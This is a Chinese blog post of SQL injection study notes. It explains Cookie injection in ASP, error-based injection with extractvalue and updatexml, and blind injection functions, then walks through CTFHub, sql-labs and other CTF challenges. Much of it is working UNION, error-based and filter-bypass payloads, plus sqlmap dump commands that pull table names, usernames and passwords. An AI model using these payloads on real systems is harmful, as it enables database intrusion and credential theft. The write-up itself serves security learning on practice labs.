sql注入预计完全体

本文详细解析了ASP中Cookie注入的原理,通过实例展示了如何利用未过滤的Cookie提交进行SQL注入,包括寻找注入点、构造payload以及使用工具如Hackbar和bp进行实战演示。提醒注意,这只是部分方法,更多攻击手段需进一步了解。
摘要由CSDN通过智能技术生成

一,cookie注入

1、cookie定义:

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。

通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站

1.2,区别:

cookie注入在本质上和其他注入是一样的,不过他的注入位置和注入形式不同.

1.3,原理:

ASP脚本中的request对象,被用于从用户那里获取信息。

Request对象的使用方法:request.[集合名称](参数名称)效率低下,容易出错

eg获取从表单中提交的数据时:request.form("参数名称")

但ASP中规定也可以省略集合名称:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,可能存在Cookie注入

修改cookie的值,使注入的值能够在拼接数据库查询语句从而获得信息,基本上与SQL注入中的get方式提交和post表单方式提交无区别。即更改本地的cookie,从而利用cookie来提交非法语句。

1.4,形成条件:

1、程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

2、在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

1.5,注入步骤(用url):

(1)第一步:寻找参数位置

eg:.asp?id=xx这样带参数id=xx

(2)第二步:去掉参数,观察参数影响

eg:将“id=xx”删掉,看页面是否正常,正常,则说明参数不起作用。反之不正常,说明参数在数据传递中启直接作用
第三步:(先清空网址)输入“javascript:alert(document.cookie=“id=”+escape(“xx”));”

按Enter键后弹出一个对话框,内容是“id=xx”

然后重新输入原来URL回车

如果显示正常,说明是用Request(“id”)方式获取数据

//注释

document.cookie:表示当前浏览器中的cookie变量

alert():表示弹出一个对话框

escape():对字符串进行编码
第四步:判断是否存在漏洞

将SQL判断语句带入,并重复第三步

①“javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));”

②“javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));”。

若①正常,②不正常,则说明存在注入漏洞,并可以进行cookie注入
第五步:cookie注入

构造cookie注入payload

javascript:alert(document.cookie="smallclass="+escape("xx order by 2"));

javascript:alert(document.cookie="id="+escape("284 union select 1,…… from xx"));

1.6用hackbar和bp(操作稍易,难理解):

(1)用hackbar,找到注入点,例如:eg:id=xx这样带参数id=xx。成功之后再进行常规步骤.

(2)用bp:抓包以后手工注入,在request栏下的cookie行直接构造sql语句,

eg:Cookie: id=1 order by 1,2;   在这之后和其他注入就大致一样了.

1.7:ctfhub——cookie注入

1.8,cufhub实战

(1)url

1.修改cookie

(1)先直接访问URL,观察页面。

(2)去掉“smallclass=148”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的,然后再清除地址,输入:javascript:alert(document.cookie="smallclass="+escape("148"));

(3)然后在去掉“?smallclass=xx” 浏览器中输入:http://XXXXXX.com/product_list.asp

页面刷新后网站显示正常

(4)输入:javascript:alert(document.cookie="smallclass="+escape("148 and 1=1"));

弹窗,然后输入http://XXXXXX.com/product_list.asp页面正常。

(5)输入javascript:alert(document.cookie="smallclass="+escape("148 and 1=2"));

弹窗,再输入http://XXXXXX.com/product_list.asp页面不正常

现在我们已经可以确定该网站存在注入漏洞,并且可以通过Cookie进行注入

2.按常规方法进行注入

(2)bp

1.判断列名

Cookie: id=1 order by 1,2;

2.使用union select判断其注入点

cookie:id=1 union select 1,2;

3.知道注入点在2上,爆库开始

Cookie: id=-1 union select 1,database();

4.得到数据库库名为sqli,爆表

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);

5.表名为dnywphpbmq,爆字段名

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='dnywphpbmq' limit 0,1);

6.知道字段名为 yjmlvuehsn,爆字段的内容,得到flag

Cookie: id=-1 union select 1,(select yjmlvuehsn from dnywphpbmq  limit 0,1);

(3)hackbar

1.找到注入点

id=1 and 1 = 1 #

2.判断列数

id=1 order by 2 #

3.查数据库名

id=0 union select 1,database()#

4.查表名--dnywphpbmq

id=0 union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

5.查列名--yjmlvuehsn

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='dnywphpbmq' #

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='news' #

6.查字段 ,得到flag

id=0 union select 1,group_concat(dnywphpbmq) from sqli.yjmlvuehsn # ​​​

1.9,注意:

此处展示方法不全,其他方法,如sqlmap等方法没有展示,如果需要,请移步查看。

二,报错注入

1.extractvalue报错注入。

1.判断注入类型,场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显

extractvalue报错注入:0x7e就是~用来区分数据

里面用select语句,不能用union select

concat()函数
1).功能:将多个字符串连接成一个字符串。
2).语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
 

2.查询当前使用的数据库,报错,出现库名 sqli

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

3.

limit 0,1和limit 1,1爆表,我们要的应该是flag

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))

4.爆字段名

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

5.爆字段内容

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

2,updatexml报错注入。

1.爆库

1 and updatexml(1,concat(0x7e,database(),0x7e),1)

2.爆表

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1),因为报错注入只显示一条记录,所以需要使用limit语句。构造的语句如下所示:

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)

3.爆字段名

1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='news'limit 0,1),0x7e),1)

1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag'limit 1,1),0x7e),1)

4.爆字段内容

1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)或者-1 union select updatexml(1, concat(0x7e,( select( group_concat(flag)) from sqli.flag),0x7e),1)

三,floor报错注入

三,盲注

1,注入类型。

1.有回显网站,联合注入查询,报错注入

2.有回显且有报错信息,报错注入。

3.完全无回显,盲注。

(1)基于时间的盲注--延迟型注入

(2)基于布尔的盲注

(3)报错型盲注

2,常见的盲注函数。

1.mid(a,b,c) .substr(a,b,c).substring(a,b,c),从位置b开始,截取字符串a的长度.

2.left(a,b)  从左截取a的前b位

3.length(database())判读数据库名的长度

4.ord()=ascii() 返回字符串的第一个字符,ascii,ascii(‘ab’)=97

5.benchmark()重复执行命令

6.group_concat() 连接字段字符串

7.sleep(n)将程序挂起n秒

8.if(条件,5,e) 条件成立,返回5,否则,返回e

substr

substr(string string,num start,num length);string为字符串;start为起始位置;length为长度。
ascii

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

标题ord

ORD() 函数返回字符串第一个字符的ASCII 值。
mid

MID(str,pos,len) str是字符串,pos是起始子字符串的位置,len是一个可选参数,它决定从起始位置返回的字符数。
ifnull

IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。
两个参数可以是文字值或表达式。
标题cast

CAST(expression AS TYPE);
CAST()函数将任何类型的值转换为具有指定类型的值。
concat

CONCAT()函数需要一个或多个字符串参数,并将它们连接成一个字符串。
floor

FLOOR(x) 函数返回小于 x 的最大整数值。
EXP()

函数返回 e 提升到指定数量的次方。常数 e (2.718281 …),是自然对数的基础。

SELECT EXP(2);=e^2=7.3
Rand()

函数可以被调用,以产生一个在 0 和 1 之间的随机数:
~ 波浪号

则可以使用正则模式来匹配字符串,除此之外它匹配模式还有一个特殊的地方
select * from table where ~ ‘ab’; --> 如果是这样的形式就代表着他可以匹配任何包含ab的字符串其实就相当于省略的两边的 .*
                       
原文链接:https://blog.csdn.net/weixin_52450702/article/details/125671953

3,布尔盲注的攻击流程:

1.判断数据库名的长度。if(length(database()==10,sleep(5),0)

2.猜解数据库的内容(利用ascii对比)

3.判断数据库中表的数量

4.判断第n张表名的长度

5.猜解第n张表名的字符串内容

6.判断指定表有多少字段

7.判断第n列的字段长度

8.猜解第n列的字段名内容

9.判断指定字段对应的字段内容长度

10.猜解指定字段对应的字段值

四,示例(ctfhub之盲注)

1,打开环境,按照提示输入一个1,有回显。

2.再输入 and 1= 1  和and 1=2,and 1 = 1 的回显成功说明该题存在整数型注入.

3.使用sqlmap工具爆出数据库名和缓存页面数据,得到数据库名sqli(sqlmap -u http://challenge-7490f53162b5f2ef.sandbox.ctfhub.com:10800/?id=1 --current-db --batch)注意:--batch代表所有选项使用sqlmap默认,不用你选择;

4.爆出刚才获得的数据库名sqli的表名,发现一个名为flag的表比较可疑(sqlmap -u http://challenge-7490f53162b5f2ef.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch )

5.爆出flag表的字段(sqlmap -u http://challenge-7490f53162b5f2ef.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch)

6.查看字段中的数据,发现此题flag(sqlmap -u http://challenge-7490f53162b5f2ef.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch)

4,sqlmap命令使用大全。

这里借花献佛,请参考大佬的文章——SQLMap使用|命令大全(干货)_sqlmap命令大全-CSDN博客

四,sql-labs

less1

(1)页面提示我们输入id作为参数,我们输入?Id=1

(2)给了我们返还内容,但跟随数字而不同,说明我们是被带入了数据库。 

 (3)判断sql语句是什么类型,有没有拼接。

 

(4)两张图片对比可知,是字符型,且存在漏洞,接下来用联合查询。(5)当实验至4时,页面报错,那么就是有3个,我们对前3个爆显示位。语句?id=-1'union select 1,2,3--+

(5)当实验至4时,页面报错,那么就是有3个,我们对前3个爆显示位。语句?id=-1'union select 1,2,3--+

(6)获取数据名和版本号,语句?id=-1'union select 1,database(),version()--+

(7)爆表,语句?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 

 

(8)爆段名,语句?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

(9)得到内容,语句?id=-1' union select 1,2,group_concat(username ,id , password) from users--+ 

less2

(1)先测试是哪种类型,测试后结果为数字型注入。

(2)看有几个字符段,语句?id=-1 union select 1,2,3,最终有三个那(3)接下来我们获取版本和数据名,语句?id=-1 union select 1,database(),version()

 (4)爆表,语句?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

(5)爆段名,语句?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 (6)得到内容,语句?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

less3

(1)判断类型,语句?Id=2’时页面报错。则sql语句是单字符型且有括号。

 

(2)构建语句?id=2')--+证明了前面的猜想。 

(3) 通过实验后确定有3个字符,利用语句?id=-1') union select 1,2,3--+确定有3个显示位

 (4)利用语句?id=-1') union select 1,database(),version()--+得到数据和版本名。

 (5)爆库名,语句?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)利用语句爆段名?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

(7)得内容,利用语句?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

 less4

(1)根据页面报错信息得知sql语句是双引号字符型且有括号。(2)利用?id=-1") union select 1,2,3--+

(2)利用?id=-1") union select 1,2,3--+

(3)利用?id=-1") union select 1,database(),version()--+

(4)利用?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 (5)利用?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(6)得答案,?id=-1") union select 1,2,group_concat(username ,id , password) from users--+ 

less5

(1)判断注入类型    ?id=1',出现以下结果,字符型注入,用'闭合

(2)?id=1' order   by  3++ ,页面显示正常,为报错注入

(3)爆数据库名:?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+

(4)爆数据库表名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctfshow") ,0x7e),3)--+

(5)爆字段名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flagpuck") ,0x7e),3)--+

 (6)爆数据值:
?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+

less6

(1)判断注入类型    ?id=1‘’,出现以下结果,字符型注入,用'闭合

(2)?id=1'' order   by  3++ ,页面显示正常,为报错注入

(3)爆数据库名:?id=1" and updatexml(1,concat(0x7e,(select database())),'1')--+

(4)爆数据库表名:
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),'1')--+

(5)爆字段名:

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),'1')--+

(6)爆数据值:

?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(username,'~',password) from users),1,32)),1)--+

?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(username,'~',password) from users),31,32)),1)--+

less7

less8

less9

less10

五,极客大挑战

1.[极客大挑战 2019]HardSQL

  1. 打开环境,看到一个登录界面,初步判定为数据提交方式中的post注入。

2.使用万能语a ’ or 1=1 #进行尝试,出现如下界面,万能语句被链接至一个特定的位置,说明有的字符被过滤了。

3.利用字典,可以查出=,/**/,union被过滤,因此在使用注入语句时要注意更换。

4.使用updatexml报错注入进行爆库,得到我们想要的一些数据.语句为1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#,得到库名geek。

5.查表,语句为1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#,得到数据表H4rDsq1。

6. 找到数据表之后,将其中的内容找出来,把数据表的名字添加在命令中,爆字段,语句为1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#,得到三个字段,Id,username,passwor

 

7.将三个字段放入命令中,构建如下语句,1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#,得到一半的flag。

 8.就此看来有可能是字符限制,我们可以利用right来突破字符限制,语句为1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#,得到后半个flag

将两个flag拼接,得到最终flag。

2.[极客大挑战 2019]EasySQL 

  1. 使用万能语句a' or true -- a,即可得到flag。

3.[GXYCTF2019]BabySQli

1.使用万能语句,弹出一个链接页面,说不要入侵他(也就是这样不能拿到flag)可联想到hardsql,也是被特殊链接至某一位置,同时有一些字符被过滤。

 

2.用fuzz扫了以后知道or,For,order等会被过滤。但是通过大小写可以绕过。

3.我们看一眼源代码。有字母和数字的结合,有点base64编码,解码后没有flag,而是打得到一个sql的句子。

 4.再输一个普通账户看一下,会发现出现了和之前不一样的结果,也就是说admin账户是存在的,而且这个网页可以分别识别账号和口令进行对比。

4.考虑union联合注入,本质是构造异常SQL语句,使得查找用户名的语句查找结果为空,这样我们就可以使用Union联合注入的方式,人为的构造查询得到的密码字段,但使用前提是要知道字段数利用name=admin’ oRder by 1 %23&pw=123456 (正常显示)\nname=admin’ oRder by 2 %23&pw=123456 (正常显示)\nname=admin’ oRder by 3 %23&pw=123456 (正常显示)\nname=admin’ oRder by 4 %23&pw=123456 (报错显示)。图片同上1。由此,字段数应为3.

5.根据以往的经验,猜测这三个字段为id,username,password。,验证后猜测成功利用harckbar中的MySQL可以伪造数据,再将自己设的密码123用md5编码,就可以得到flag。

4.[SUCTF 2019]EasySQL

1.界面叫我们输入内容,尝试以后,只要我们输入1及1以上的数字时,就会有回显,如图。

2.以为输入0没有回显,就说明查询语句应该是带ll符号,同or一样,两边有一边为true就会执行,那我们就采用*,1查询ll号的右边是什么,输入后得到flag。

六,union联合注入知识。

附:CSDN

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值